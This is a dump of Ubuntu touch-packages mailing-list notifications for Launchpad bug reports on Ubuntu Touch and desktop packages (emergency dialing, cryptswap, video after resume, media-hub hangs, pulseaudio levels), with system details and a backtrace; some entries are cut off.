[Touch-packages] [Bug 1444883] Re: Emergency numbers for China (110, 119) are not available in emergency mode
@Tony I did the testing with Ubuntu/arale. Let me reword what I said for libphonenumber: I was trying to say that libphonenumber is probably not 100% accurate. We can and should use it, but we should not prevent the user to call numbers that are not there either. Finally, right, the specific things that are done for emergency calls (I think that the only one in ofono is that you cannot offline the modem, I do not know what other pieces of the system do under emergency conditions) would not be done in those cases, but that is a minor issue compared to not being able to call emergency codes. -- You received this bug notification because you are a member of Ubuntu Touch seeded packages, which is subscribed to dialer-app in Ubuntu. https://bugs.launchpad.net/bugs/1444883 Title: Emergency numbers for China (110,119) are not available in emergency mode Status in the base for Ubuntu mobile products: New Status in dialer-app package in Ubuntu: New Status in ofono package in Ubuntu: Confirmed Status in telephony-service package in Ubuntu: New Bug description: arale device, r177, ubuntu-touch/vivid-proposed Steps 1. Emergency mode (e.g. Lock phone with a passcode, slide left, tap on "Emergency Call") 2. try input 911, 112 ==> OK 2. try input 110, 119 ==> "Dial" button is inactive after number is input Expect Allow these numbers in emergency mode To manage notifications about this bug go to: https://bugs.launchpad.net/canonical-devices-system-image/+bug/1444883/+subscriptions -- Mailing list: https://launchpad.net/~touch-packages Post to : touch-packages@lists.launchpad.net Unsubscribe : https://launchpad.net/~touch-packages More help : https://help.launchpad.net/ListHelp
[Touch-packages] [Bug 1449555] Re: password request for cryptswap1 during boot when encrypted home directory selected
*** This bug is a duplicate of bug 1453738 *** https://bugs.launchpad.net/bugs/1453738 ** This bug is no longer a duplicate of bug 1447282 Does not use encrypted swap when using GPT partitioning + encrypted home directory (ecryptfs) ** This bug has been marked a duplicate of bug 1453738 Keeps asking for cryptswap password when booting (GPT + LVM + encrypted home dir) -- You received this bug notification because you are a member of Ubuntu Touch seeded packages, which is subscribed to systemd in Ubuntu. https://bugs.launchpad.net/bugs/1449555 Title: password request for cryptswap1 during boot when encrypted home directory selected Status in systemd package in Ubuntu: Triaged Bug description: On a system freshly installed (haven't tried the upgrade route) where the user selects to encrypt their home directory, they will get a password prompt during boot and at other times on the command-line requesting a password for cryptswap1. ProblemType: Bug DistroRelease: Ubuntu 15.04 Package: cryptsetup 2:1.6.1-1ubuntu7 ProcVersionSignature: Ubuntu 3.19.0-15.15-generic 3.19.3 Uname: Linux 3.19.0-15-generic x86_64 NonfreeKernelModules: wl ApportVersion: 2.17.2-0ubuntu1 Architecture: amd64 CurrentDesktop: Unity Date: Tue Apr 28 09:02:12 2015 EcryptfsInUse: Yes InstallationDate: Installed on 2015-04-28 (0 days ago) InstallationMedia: Ubuntu 15.04 "Vivid Vervet" - Release amd64 (20150422) SourcePackage: cryptsetup UpgradeStatus: No upgrade log present (probably fresh install) crypttab: cryptswap1 UUID=c9d10691-df3f-49ae-a734-cdf2cbbaee8e /dev/urandom swap,offset=1024,cipher=aes-xts-plain64 To manage notifications about this bug go to: https://bugs.launchpad.net/ubuntu/+source/systemd/+bug/1449555/+subscriptions -- Mailing list: https://launchpad.net/~touch-packages Post to : touch-packages@lists.launchpad.net Unsubscribe : https://launchpad.net/~touch-packages More help : https://help.launchpad.net/ListHelp
[Touch-packages] [Bug 1417726] Re: After resumnig from sleep, playing videos doesn't work
As I'm using catalyst drivers and they aren't included in the image, I guess, is there a way to install them and run them solely from the live environment? And since this is my work machine also, I don't think that I would stray from LTS for now. ** Changed in: xorg (Ubuntu) Status: Expired => Incomplete -- You received this bug notification because you are a member of Ubuntu Touch seeded packages, which is subscribed to xorg in Ubuntu. https://bugs.launchpad.net/bugs/1417726 Title: After resumnig from sleep, playing videos doesn't work Status in xorg package in Ubuntu: Incomplete Bug description: This started a few weeks ago, after some update I guess. When my machine resumes from sleep, if I try to play video in any player I have installed (vlc, smplayer, totem), all I get for a picture is a black screen. Sound is going, just there is no picture. I can get very flickering and unwatchable picture if I choose some OpenGL-based renderer (in smplayer). Sometimes, if I turn on or off second monitor, playing works for a while. The only way to enable playback is to restart X (logout/login or computer restart), which is geting quite tiresome because I need to close all my programs and open them again. I'm not sure if this is xorg, Unity or driver bug, but it really bugs me. ProblemType: Bug DistroRelease: Ubuntu 14.04 Package: xorg 1:7.7+1ubuntu8.1 ProcVersionSignature: Ubuntu 3.13.0-45.74-generic 3.13.11-ckt13 Uname: Linux 3.13.0-45-generic x86_64 NonfreeKernelModules: fglrx .tmp.unity.support.test.0: ApportVersion: 2.14.1-0ubuntu3.6 Architecture: amd64 CompizPlugins: No value set for `/apps/compiz-1/general/screen0/options/active_plugins' CompositorRunning: compiz CompositorUnredirectDriverBlacklist: '(nouveau|Intel).*Mesa 8.0' CompositorUnredirectFSW: true CurrentDesktop: Unity Date: Tue Feb 3 19:51:32 2015 DistUpgraded: Fresh install DistroCodename: trusty DistroVariant: ubuntu DpkgLog: ExtraDebuggingInterest: Yes, if not too technical GraphicsCard: Advanced Micro Devices, Inc. [AMD/ATI] Tahiti PRO [Radeon HD 7950/8950 OEM / R9 280] [1002:679a] (prog-if 00 [VGA controller]) Subsystem: ASUSTeK Computer Inc. Device [1043:0424] InstallationDate: Installed on 2014-08-02 (185 days ago) InstallationMedia: Ubuntu 14.04.1 LTS "Trusty Tahr" - Release amd64 (20140722.2) LightdmGreeterLog: ** (lightdm-gtk-greeter:9174): WARNING **: Failed to load background: Failed to open file '/usr/share/lubuntu/wallpapers/lubuntu-default-wallpaper.png': No such file or directory ** (lightdm-gtk-greeter:9174): WARNING **: Failed to load user image: Failed to open file '/home/zzarko/.face': No such file or directory LightdmGreeterLogOld: ** (lightdm-gtk-greeter:1810): WARNING **: Failed to load background: Failed to open file '/usr/share/lubuntu/wallpapers/lubuntu-default-wallpaper.png': No such file or directory ** (lightdm-gtk-greeter:1810): WARNING **: Failed to load user image: Failed to open file '/home/zzarko/.face': No such file or directory MachineType: To Be Filled By O.E.M. To Be Filled By O.E.M. ProcKernelCmdLine: BOOT_IMAGE=/vmlinuz-3.13.0-45-generic root=UUID=b677df99-e917-4360-b8b5-13b8db6712cf ro quiet splash vt.handoff=7 SourcePackage: xorg Symptom: display UpgradeStatus: No upgrade log present (probably fresh install) dmi.bios.date: 07/08/2011 dmi.bios.vendor: American Megatrends Inc. dmi.bios.version: P1.00 dmi.board.name: Z68 Extreme4 Gen3 dmi.board.vendor: ASRock dmi.chassis.asset.tag: To Be Filled By O.E.M. dmi.chassis.type: 3 dmi.chassis.vendor: To Be Filled By O.E.M. dmi.chassis.version: To Be Filled By O.E.M. dmi.modalias: dmi:bvnAmericanMegatrendsInc.:bvrP1.00:bd07/08/2011:svnToBeFilledByO.E.M.:pnToBeFilledByO.E.M.:pvrToBeFilledByO.E.M.:rvnASRock:rnZ68Extreme4Gen3:rvr:cvnToBeFilledByO.E.M.:ct3:cvrToBeFilledByO.E.M.: dmi.product.name: To Be Filled By O.E.M. dmi.product.version: To Be Filled By O.E.M. dmi.sys.vendor: To Be Filled By O.E.M. version.compiz: compiz 1:0.9.11.3+14.04.20141104-0ubuntu1 version.fglrx-installer: fglrx-installer N/A version.ia32-libs: ia32-libs N/A version.libdrm2: libdrm2 2.4.56-1~ubuntu1 version.libgl1-mesa-dri: libgl1-mesa-dri 10.1.3-0ubuntu0.3 version.libgl1-mesa-dri-experimental: libgl1-mesa-dri-experimental N/A version.libgl1-mesa-glx: libgl1-mesa-glx 10.1.3-0ubuntu0.3 version.xserver-xorg-core: xserver-xorg-core 2:1.15.1-0ubuntu2.6 version.xserver-xorg-input-evdev: xserver-xorg-input-evdev 1:2.8.2-1ubuntu2 version.xserver-xorg-video-ati: xserver-xorg-video-ati 1:7.3.0-1ubuntu3.1 version.xserver-xorg-video-intel: xserver-xorg-video-intel 2:2.99.910-0ubuntu1.4 version.xserver-xorg-video-nouveau: xserver-xorg-video-nouveau 1:1.0.10-1ubuntu2 xserver.bootTime: Tue Feb 3 19:48:59 2015 xserver.configfile: /etc/X11/xorg.conf xserver.errors: AIGLX error: failed to open /usr/X11R6/l
[Touch-packages] [Bug 1457129] Re: All sound stops playing after receiving SMS messages
I don't have an arale to test but the crash on receiving SMS may be the
same as https://bugs.launchpad.net/ubuntu/+source/unity8/+bug/1456711 ?
According to the backtrace of that bug something is wrong in media-hub
that is tearing down unity8.
--
You received this bug notification because you are a member of Ubuntu
Touch seeded packages, which is subscribed to unity8 in Ubuntu.
https://bugs.launchpad.net/bugs/1457129
Title:
All sound stops playing after receiving SMS messages
Status in the base for Ubuntu mobile products:
Confirmed
Status in media-hub package in Ubuntu:
In Progress
Status in unity8 package in Ubuntu:
New
Bug description:
Testing on Arale, build 6, vivid proposed
Steps to reproduce (not that easy)
1) goto System Settings->Sounds and set Message Received Sound to Xylo and
check on "Vibrate with message sound" and "Vibrate in Silent Mode"
1A) Lock the phone
2) Send phone a bunch of text messages (like 4 in a row quickly)
3) verify that sound is played, vibration is heard, and notification is
displayed
4) now open messaging app to the thread that received the message
5) lock the phone
6) Repeat steps 2 and 3, eventually the sounds stop playing and the
notifications don't get displayed anymore, but the screen does light up.
At this point media hub is hung and you can't plays sounds from
anywhere, even music player
(gdb) t a a bt
Thread 15 (Thread 0xb2f3a3a0 (LWP 2186)):
#0 0xb424f6b4 in ?? ()
#1 0xb4263c8c in ?? ()
Backtrace stopped: previous frame identical to this frame (corrupt stack?)
Thread 14 (Thread 0xb25ff3a0 (LWP 2187)):
#0 0xb424f6b4 in ?? ()
#1 0xb4263c8c in ?? ()
Backtrace stopped: previous frame identical to this frame (corrupt stack?)
Thread 13 (Thread 0xb1bff3a0 (LWP 2189)):
#0 0xb6320132 in epoll_wait () from /lib/arm-linux-gnueabihf/libc.so.6
#1 0x00149850 in boost::asio::detail::epoll_reactor::run(bool,
boost::asio::detail::op_queue&)
()
#2 0x0014ab1a in
boost::asio::detail::task_io_service::run(boost::system::error_code&) ()
#3 0x00148c8e in _start ()
Thread 12 (Thread 0xad3fe3a0 (LWP 2191)):
#0 0xb63194e0 in poll () from /lib/arm-linux-gnueabihf/libc.so.6
#1 0x in ?? ()
Backtrace stopped: previous frame identical to this frame (corrupt stack?)
Thread 11 (Thread 0xacbfe3a0 (LWP 2192)):
#0 0xb63194e0 in poll () from /lib/arm-linux-gnueabihf/libc.so.6
#1 0x in ?? ()
Backtrace stopped: previous frame identical to this frame (corrupt stack?)
Thread 10 (Thread 0xabcff3a0 (LWP 2202)):
#0 0xb6387d44 in __libc_do_syscall () from
/lib/arm-linux-gnueabihf/libpthread.so.0
#1 0xb6385980 in __lll_lock_wait () from
/lib/arm-linux-gnueabihf/libpthread.so.0
#2 0xb638119e in pthread_mutex_lock () from
/lib/arm-linux-gnueabihf/libpthread.so.0
#3 0x001a8bc8 in ?? ()
#4 0x001b21d6 in
core::ubuntu::media::PlayerImplementation::Private::request_power_state()
()
#5 0x001b5384 in
core::ubuntu::media::PlayerImplementation::Private::make_state_change_handler()::{lambda(core::ubuntu::media::Engine::State
const&)#1}::operator()(core::ubuntu::media::Engine::State const&) const ()
---Type to continue, or q to quit---
#6 0x001b0c9a in std::_Function_handler >::_M_invoke(std::_Any_data
const&, core::ubuntu::media::Engine::State) ()
#7 0x001cf730 in
core::Signal::operator()(core::ubuntu::media::Engine::State)
()
#8 0x001cc2c2 in gstreamer::Engine::play() ()
#9 0x001b2018 in
core::ubuntu::media::PlayerImplementation::play()
()
#10 0x001d87b8 in
core::ubuntu::media::PlayerSkeleton::Private::handle_play(std::shared_ptr
const&) ()
#11 0xb6f161c0 in ?? () from /usr/lib/arm-linux-gnueabihf/libdbus-cpp.so.4
#12 0xb6245aa2 in ?? () from /lib/arm-linux-gnueabihf/libdbus-1.so.3
Backtrace stopped: previous frame identical to this frame (corrupt stack?)
Thread 9 (Thread 0xa31ff3a0 (LWP 4024)):
#0 0xb6387d44 in __libc_do_syscall () from
/lib/arm-linux-gnueabihf/libpthread.so.0
#1 0xb638595c in __lll_lock_wait () from
/lib/arm-linux-gnueabihf/libpthread.so.0
#2 0xb638119e in pthread_mutex_lock () from
/lib/arm-linux-gnueabihf/libpthread.so.0
#3 0x001a887e in ?? ()
#4 0x001ac772 in std::_Function_handler const&), void
core::dbus::Object::invoke_method_asynchronously_with_callback(std::function const&)>,
std::string const&)::{lambda(std::shared_ptr
const&)#1}>::_M_invoke(std::_Any_data const&,
std::shared_ptr const&) ()
#5 0xb6f17da4 in ?? () from /usr/lib/arm-linux-gnueabihf/libdbus-cpp.so.4
#6 0x001acc5a in void
core::dbus::Object::invoke_method_asynchronously_with_callback(std::function const&)>,
std::string const&) ()
#7 0x001a8ad4 in ?? ()
#8 0x001b230e in
core::ubuntu::media::PlayerImplementation::Private::clear_wakelock(core::ubuntu::media::PlayerImplementation::Private::wakelock_clear_t
const&) ()
#9 0x001b8052 in std::_Function_handler::Private::make_clear_wakelock_functor()::{lambda()#1}>::_M_
[Touch-packages] [Bug 1417726] Re: After resumnig from sleep, playing videos doesn't work
In the last month, almost after each update, the system would behave differently. Sometimes I could go through several sleep/resume cycles without hitting the bug, sometimes it occurs every time after resume from sleep (which is the current situation). -- You received this bug notification because you are a member of Ubuntu Touch seeded packages, which is subscribed to xorg in Ubuntu. https://bugs.launchpad.net/bugs/1417726 Title: After resumnig from sleep, playing videos doesn't work Status in xorg package in Ubuntu: Incomplete Bug description: This started a few weeks ago, after some update I guess. When my machine resumes from sleep, if I try to play video in any player I have installed (vlc, smplayer, totem), all I get for a picture is a black screen. Sound is going, just there is no picture. I can get very flickering and unwatchable picture if I choose some OpenGL-based renderer (in smplayer). Sometimes, if I turn on or off second monitor, playing works for a while. The only way to enable playback is to restart X (logout/login or computer restart), which is geting quite tiresome because I need to close all my programs and open them again. I'm not sure if this is xorg, Unity or driver bug, but it really bugs me. ProblemType: Bug DistroRelease: Ubuntu 14.04 Package: xorg 1:7.7+1ubuntu8.1 ProcVersionSignature: Ubuntu 3.13.0-45.74-generic 3.13.11-ckt13 Uname: Linux 3.13.0-45-generic x86_64 NonfreeKernelModules: fglrx .tmp.unity.support.test.0: ApportVersion: 2.14.1-0ubuntu3.6 Architecture: amd64 CompizPlugins: No value set for `/apps/compiz-1/general/screen0/options/active_plugins' CompositorRunning: compiz CompositorUnredirectDriverBlacklist: '(nouveau|Intel).*Mesa 8.0' CompositorUnredirectFSW: true CurrentDesktop: Unity Date: Tue Feb 3 19:51:32 2015 DistUpgraded: Fresh install DistroCodename: trusty DistroVariant: ubuntu DpkgLog: ExtraDebuggingInterest: Yes, if not too technical GraphicsCard: Advanced Micro Devices, Inc. [AMD/ATI] Tahiti PRO [Radeon HD 7950/8950 OEM / R9 280] [1002:679a] (prog-if 00 [VGA controller]) Subsystem: ASUSTeK Computer Inc. Device [1043:0424] InstallationDate: Installed on 2014-08-02 (185 days ago) InstallationMedia: Ubuntu 14.04.1 LTS "Trusty Tahr" - Release amd64 (20140722.2) LightdmGreeterLog: ** (lightdm-gtk-greeter:9174): WARNING **: Failed to load background: Failed to open file '/usr/share/lubuntu/wallpapers/lubuntu-default-wallpaper.png': No such file or directory ** (lightdm-gtk-greeter:9174): WARNING **: Failed to load user image: Failed to open file '/home/zzarko/.face': No such file or directory LightdmGreeterLogOld: ** (lightdm-gtk-greeter:1810): WARNING **: Failed to load background: Failed to open file '/usr/share/lubuntu/wallpapers/lubuntu-default-wallpaper.png': No such file or directory ** (lightdm-gtk-greeter:1810): WARNING **: Failed to load user image: Failed to open file '/home/zzarko/.face': No such file or directory MachineType: To Be Filled By O.E.M. To Be Filled By O.E.M. ProcKernelCmdLine: BOOT_IMAGE=/vmlinuz-3.13.0-45-generic root=UUID=b677df99-e917-4360-b8b5-13b8db6712cf ro quiet splash vt.handoff=7 SourcePackage: xorg Symptom: display UpgradeStatus: No upgrade log present (probably fresh install) dmi.bios.date: 07/08/2011 dmi.bios.vendor: American Megatrends Inc. dmi.bios.version: P1.00 dmi.board.name: Z68 Extreme4 Gen3 dmi.board.vendor: ASRock dmi.chassis.asset.tag: To Be Filled By O.E.M. dmi.chassis.type: 3 dmi.chassis.vendor: To Be Filled By O.E.M. dmi.chassis.version: To Be Filled By O.E.M. dmi.modalias: dmi:bvnAmericanMegatrendsInc.:bvrP1.00:bd07/08/2011:svnToBeFilledByO.E.M.:pnToBeFilledByO.E.M.:pvrToBeFilledByO.E.M.:rvnASRock:rnZ68Extreme4Gen3:rvr:cvnToBeFilledByO.E.M.:ct3:cvrToBeFilledByO.E.M.: dmi.product.name: To Be Filled By O.E.M. dmi.product.version: To Be Filled By O.E.M. dmi.sys.vendor: To Be Filled By O.E.M. version.compiz: compiz 1:0.9.11.3+14.04.20141104-0ubuntu1 version.fglrx-installer: fglrx-installer N/A version.ia32-libs: ia32-libs N/A version.libdrm2: libdrm2 2.4.56-1~ubuntu1 version.libgl1-mesa-dri: libgl1-mesa-dri 10.1.3-0ubuntu0.3 version.libgl1-mesa-dri-experimental: libgl1-mesa-dri-experimental N/A version.libgl1-mesa-glx: libgl1-mesa-glx 10.1.3-0ubuntu0.3 version.xserver-xorg-core: xserver-xorg-core 2:1.15.1-0ubuntu2.6 version.xserver-xorg-input-evdev: xserver-xorg-input-evdev 1:2.8.2-1ubuntu2 version.xserver-xorg-video-ati: xserver-xorg-video-ati 1:7.3.0-1ubuntu3.1 version.xserver-xorg-video-intel: xserver-xorg-video-intel 2:2.99.910-0ubuntu1.4 version.xserver-xorg-video-nouveau: xserver-xorg-video-nouveau 1:1.0.10-1ubuntu2 xserver.bootTime: Tue Feb 3 19:48:59 2015 xserver.configfile: /etc/X11/xorg.conf xserver.errors: AIGLX error: failed to open /usr/X11R6/lib64/modules/dri/fglrx_dri.so, error[/usr/X11R6/lib64/module
[Touch-packages] [Bug 1294303] Re: Mediascanner-service-2 process is killing HD and consumes lot of CPU
I am running Ubuntu 14.04 fully updated. If left installed, mediascanner2.0 will at some point consume 100% of at least one core and multiply the access time to any HDD by a factor of five or more. Here is a thread from February at AskUbuntu: http://askubuntu.com/q/587489/177437 -- You received this bug notification because you are a member of Ubuntu Touch seeded packages, which is subscribed to mediascanner2 in Ubuntu. https://bugs.launchpad.net/bugs/1294303 Title: Mediascanner-service-2 process is killing HD and consumes lot of CPU Status in Media Scanner v2: Fix Released Status in mediascanner2 package in Ubuntu: Fix Released Bug description: I just connected external USB harddrive, when mediascanner-service-2 start scanning (?) over 15 min - even after unplug USB HD. CPU usage was very high (min 50%, sometimes 100%). ProblemType: Bug DistroRelease: Ubuntu 14.04 Package: mediascanner2.0 0.100+14.04.20140314-0ubuntu1 ProcVersionSignature: Ubuntu 3.13.0-18.38-generic 3.13.6 Uname: Linux 3.13.0-18-generic i686 ApportVersion: 2.13.3-0ubuntu1 Architecture: i386 CurrentDesktop: Unity Date: Tue Mar 18 20:06:06 2014 SourcePackage: mediascanner2 UpgradeStatus: Upgraded to trusty on 2013-11-26 (111 days ago) To manage notifications about this bug go to: https://bugs.launchpad.net/mediascanner2/+bug/1294303/+subscriptions -- Mailing list: https://launchpad.net/~touch-packages Post to : touch-packages@lists.launchpad.net Unsubscribe : https://launchpad.net/~touch-packages More help : https://help.launchpad.net/ListHelp
[Touch-packages] [Bug 1123108] Re: unity slow on dual monitors (extended desktop)
Official support for Ubuntu 12.10 "Quantal Quetzal" and Ubuntu 13.04 "Raring Ringtail" has ended. If anyone is still experiencing this issue on Ubuntu 12.04 "Precise Pangolin" please check if this issue still exists on Ubuntu 14.04 "Trusty Tahr". Trusty has a 3.13-based kernel which introduced proper AMD Radeon DPM (dynamic power management) for the first time. Further Radeon DPM improvements were made in subsequent kernels. In particular, kernel 3.17 re-enabled DPM for AMD "Cayman", "Barts", "Turks" and "Caicos" hardware after it was disabled in kernel 3.14 for stability reasons. This is first included in Ubuntu 15.04 "Vivid Vervet" which is based on the 3.19 kernel. Anyone who still has this issue on Trusty (more likely for users with Intel or NVIDIA hardware due to the reasons I outlined above), please check that you are not running the fallback llvmpipe renderer by running this command in a terminal window: glxinfo |grep renderer -- You received this bug notification because you are a member of Ubuntu Touch seeded packages, which is subscribed to unity in Ubuntu. https://bugs.launchpad.net/bugs/1123108 Title: unity slow on dual monitors (extended desktop) Status in Unity: Confirmed Status in unity package in Ubuntu: Confirmed Bug description: I am running Ubuntu 12.10 64-bit on a desktop computer that has 7.3 GB of usable RAM, an AMD A8-5500 APU Radeon Quad-Core processor, and dual monitors at 1920x1080 each, one through DVI and the other through VGA. The hardware is more than capable of intensive work, however, I've noticed that ever since I did a fresh install, Unity will sometimes become a bit sluggish while doing animations, especially after coming back from suspend. The sluggishness does not make the computer unusable, but the slower animations are not pleasant. When I first boot the computer, it seems to work okay as far as I can tell. Normally, the animations are milky smooth, but when I suspend the computer and turn it back on, for example, the frame rate seems to drop quite a bit, especially if windows are animating across the entire screen or if I pop out the side bar, which is normally hidden. The lag in animation seems to affect the entire system, since the lag is also visible while using applications such as Firefox or Chrome. To fix the problem, I either have to 1) entirely restart the computer or 2) go to my display settings, select one of my monitors, disable or change its resolution, and then hit apply. Once I hit apply, the one screen flickers off and then on again (if I just changed the resolution), and then the lag seems to disappear. I can also revert the changes, letting the screen turn off and back on again, and the lag still seems to be gone. Sometimes, though, I may need to do this twice in order to get the frame rate completely back to normal. Another thing to note is that if I only use a single monitor instead of dual, this problem never occurs, even after waking the computer from suspend. The problem also seems to only occur when I am using the screens as an extended desktop, not mirrors. I first thought this issue could be due to a process utilizing too much of the CPU, so I ran 'top' but didn't notice anything very unusual about the results. While idle, the top processes are usually Xorg and compiz with about 0-3% CPU usage, and while windows are actively being moved and minimized/maximized across the screen, I've never seen Xorg go over about 30% and compiz about 15-20%. Also, I don't know if this has anything to do with this problem, but when I bring the computer back from suspend mode, an error flashes on the screen for only about half a second: [Firmware Bug]: cpu 1, try to use APIC500 (LVT offset 0) for vector 0x400, but the register is already in use for vector 0xf9 on another cpu [Firmware Bug]: cpu 2, try to use APIC500 (LVT offset 0) for vector 0x400, but the register is already in use for vector 0xf9 on another cpu [Firmware Bug]: cpu 3, try to use APIC500 (LVT offset 0) for vector 0x400, but the register is already in use for vector 0xf9 on another cpu and it repeats. Again, not sure if it's relevant, but I thought I would mention it. To manage notifications about this bug go to: https://bugs.launchpad.net/unity/+bug/1123108/+subscriptions -- Mailing list: https://launchpad.net/~touch-packages Post to : touch-packages@lists.launchpad.net Unsubscribe : https://launchpad.net/~touch-packages More help : https://help.launchpad.net/ListHelp
[Touch-packages] [Bug 1436269] Re: When you select Analog Output or Speakers as port in Output Devices tab of pavucontrol, headphone levels are raised
> As third use case, sometimes you might want to have simultaneous output to Line Out and Headphones output, but then you may want to change their volumes independently. https://bugs.freedesktop.org/show_bug.cgi?id=90496 ** Bug watch added: freedesktop.org Bugzilla #90496 https://bugs.freedesktop.org/show_bug.cgi?id=90496 -- You received this bug notification because you are a member of Ubuntu Touch seeded packages, which is subscribed to pulseaudio in Ubuntu. https://bugs.launchpad.net/bugs/1436269 Title: When you select Analog Output or Speakers as port in Output Devices tab of pavucontrol, headphone levels are raised Status in pulseaudio package in Ubuntu: Incomplete Bug description: I expect that headphone levels are not raised, when Analog Output or Speakers is selected as port. Please note, that Line out = analog output port is controlled by ALSA mixer track called PCM, whereas there should be a separate mixer track for it; see bug Bug #1433568 ProblemType: Bug DistroRelease: Ubuntu 14.04 Package: pulseaudio 1:4.0-0ubuntu11.1 ProcVersionSignature: Ubuntu 3.13.0-48.80-lowlatency 3.13.11-ckt16 Uname: Linux 3.13.0-48-lowlatency x86_64 ApportVersion: 2.14.1-0ubuntu3.7 Architecture: amd64 CurrentDesktop: XFCE Date: Wed Mar 25 12:34:23 2015 EcryptfsInUse: Yes InstallationDate: Installed on 2014-09-21 (185 days ago) InstallationMedia: Ubuntu-Studio 14.04.1 LTS "Trusty Tahr" - Release amd64 (20140722.1) SourcePackage: pulseaudio UpgradeStatus: No upgrade log present (probably fresh install) dmi.bios.date: 06/26/2011 dmi.bios.vendor: Dell Inc. dmi.bios.version: 2.6.6 dmi.board.name: 0RF703 dmi.board.vendor: Dell Inc. dmi.chassis.type: 6 dmi.chassis.vendor: Dell Inc. dmi.modalias: dmi:bvnDellInc.:bvr2.6.6:bd06/26/2011:svnDellInc.:pnOptiPlex745:pvr:rvnDellInc.:rn0RF703:rvr:cvnDellInc.:ct6:cvr: dmi.product.name: OptiPlex 745 dmi.sys.vendor: Dell Inc. To manage notifications about this bug go to: https://bugs.launchpad.net/ubuntu/+source/pulseaudio/+bug/1436269/+subscriptions -- Mailing list: https://launchpad.net/~touch-packages Post to : touch-packages@lists.launchpad.net Unsubscribe : https://launchpad.net/~touch-packages More help : https://help.launchpad.net/ListHelp
[Touch-packages] [Bug 1123108] Re: unity slow on dual monitors (extended desktop)
** Tags added: quantal -- You received this bug notification because you are a member of Ubuntu Touch seeded packages, which is subscribed to unity in Ubuntu. https://bugs.launchpad.net/bugs/1123108 Title: unity slow on dual monitors (extended desktop) Status in Unity: Confirmed Status in unity package in Ubuntu: Confirmed Bug description: I am running Ubuntu 12.10 64-bit on a desktop computer that has 7.3 GB of usable RAM, an AMD A8-5500 APU Radeon Quad-Core processor, and dual monitors at 1920x1080 each, one through DVI and the other through VGA. The hardware is more than capable of intensive work, however, I've noticed that ever since I did a fresh install, Unity will sometimes become a bit sluggish while doing animations, especially after coming back from suspend. The sluggishness does not make the computer unusable, but the slower animations are not pleasant. When I first boot the computer, it seems to work okay as far as I can tell. Normally, the animations are milky smooth, but when I suspend the computer and turn it back on, for example, the frame rate seems to drop quite a bit, especially if windows are animating across the entire screen or if I pop out the side bar, which is normally hidden. The lag in animation seems to affect the entire system, since the lag is also visible while using applications such as Firefox or Chrome. To fix the problem, I either have to 1) entirely restart the computer or 2) go to my display settings, select one of my monitors, disable or change its resolution, and then hit apply. Once I hit apply, the one screen flickers off and then on again (if I just changed the resolution), and then the lag seems to disappear. I can also revert the changes, letting the screen turn off and back on again, and the lag still seems to be gone. Sometimes, though, I may need to do this twice in order to get the frame rate completely back to normal. Another thing to note is that if I only use a single monitor instead of dual, this problem never occurs, even after waking the computer from suspend. The problem also seems to only occur when I am using the screens as an extended desktop, not mirrors. I first thought this issue could be due to a process utilizing too much of the CPU, so I ran 'top' but didn't notice anything very unusual about the results. While idle, the top processes are usually Xorg and compiz with about 0-3% CPU usage, and while windows are actively being moved and minimized/maximized across the screen, I've never seen Xorg go over about 30% and compiz about 15-20%. Also, I don't know if this has anything to do with this problem, but when I bring the computer back from suspend mode, an error flashes on the screen for only about half a second: [Firmware Bug]: cpu 1, try to use APIC500 (LVT offset 0) for vector 0x400, but the register is already in use for vector 0xf9 on another cpu [Firmware Bug]: cpu 2, try to use APIC500 (LVT offset 0) for vector 0x400, but the register is already in use for vector 0xf9 on another cpu [Firmware Bug]: cpu 3, try to use APIC500 (LVT offset 0) for vector 0x400, but the register is already in use for vector 0xf9 on another cpu and it repeats. Again, not sure if it's relevant, but I thought I would mention it. To manage notifications about this bug go to: https://bugs.launchpad.net/unity/+bug/1123108/+subscriptions -- Mailing list: https://launchpad.net/~touch-packages Post to : touch-packages@lists.launchpad.net Unsubscribe : https://launchpad.net/~touch-packages More help : https://help.launchpad.net/ListHelp
[Touch-packages] [Bug 1436269] Re: When you select Analog Output or Speakers as port in Output Devices tab of pavucontrol, headphone levels are raised
https://git.kernel.org/cgit/linux/kernel/git/tiwai/sound.git/commit/sound/pci/hda?id=3abb4f4d0e7aaad0d12004b5057f4486a688752b
this patch change PCM playback Volume to Line Out Playback Volume
softvol plugin create a user control PCM playback Volume with dB range
-51 dB
control.XX {
comment.access 'read write user'
comment.type INTEGER
comment.count 2
comment.range '0 - 255'
comment.tlv '00010008ec140014'
comment.dbmin -5100
comment.dbmax 0
iface MIXER
name 'PCM Playback Volume'
value.0 255
value.1 255
}
--
You received this bug notification because you are a member of Ubuntu
Touch seeded packages, which is subscribed to pulseaudio in Ubuntu.
https://bugs.launchpad.net/bugs/1436269
Title:
When you select Analog Output or Speakers as port in Output Devices
tab of pavucontrol, headphone levels are raised
Status in pulseaudio package in Ubuntu:
Incomplete
Bug description:
I expect that headphone levels are not raised, when Analog Output or
Speakers is selected as port.
Please note, that Line out = analog output port is controlled by ALSA
mixer track called PCM, whereas there should be a separate mixer track
for it; see bug Bug #1433568
ProblemType: Bug
DistroRelease: Ubuntu 14.04
Package: pulseaudio 1:4.0-0ubuntu11.1
ProcVersionSignature: Ubuntu 3.13.0-48.80-lowlatency 3.13.11-ckt16
Uname: Linux 3.13.0-48-lowlatency x86_64
ApportVersion: 2.14.1-0ubuntu3.7
Architecture: amd64
CurrentDesktop: XFCE
Date: Wed Mar 25 12:34:23 2015
EcryptfsInUse: Yes
InstallationDate: Installed on 2014-09-21 (185 days ago)
InstallationMedia: Ubuntu-Studio 14.04.1 LTS "Trusty Tahr" - Release amd64
(20140722.1)
SourcePackage: pulseaudio
UpgradeStatus: No upgrade log present (probably fresh install)
dmi.bios.date: 06/26/2011
dmi.bios.vendor: Dell Inc.
dmi.bios.version: 2.6.6
dmi.board.name: 0RF703
dmi.board.vendor: Dell Inc.
dmi.chassis.type: 6
dmi.chassis.vendor: Dell Inc.
dmi.modalias:
dmi:bvnDellInc.:bvr2.6.6:bd06/26/2011:svnDellInc.:pnOptiPlex745:pvr:rvnDellInc.:rn0RF703:rvr:cvnDellInc.:ct6:cvr:
dmi.product.name: OptiPlex 745
dmi.sys.vendor: Dell Inc.
To manage notifications about this bug go to:
https://bugs.launchpad.net/ubuntu/+source/pulseaudio/+bug/1436269/+subscriptions
--
Mailing list: https://launchpad.net/~touch-packages
Post to : touch-packages@lists.launchpad.net
Unsubscribe : https://launchpad.net/~touch-packages
More help : https://help.launchpad.net/ListHelp
[Touch-packages] [Bug 1268146] Re: Very high cpu usage for compiz in 14.04 (mesa incorrectly using llvmpipe)
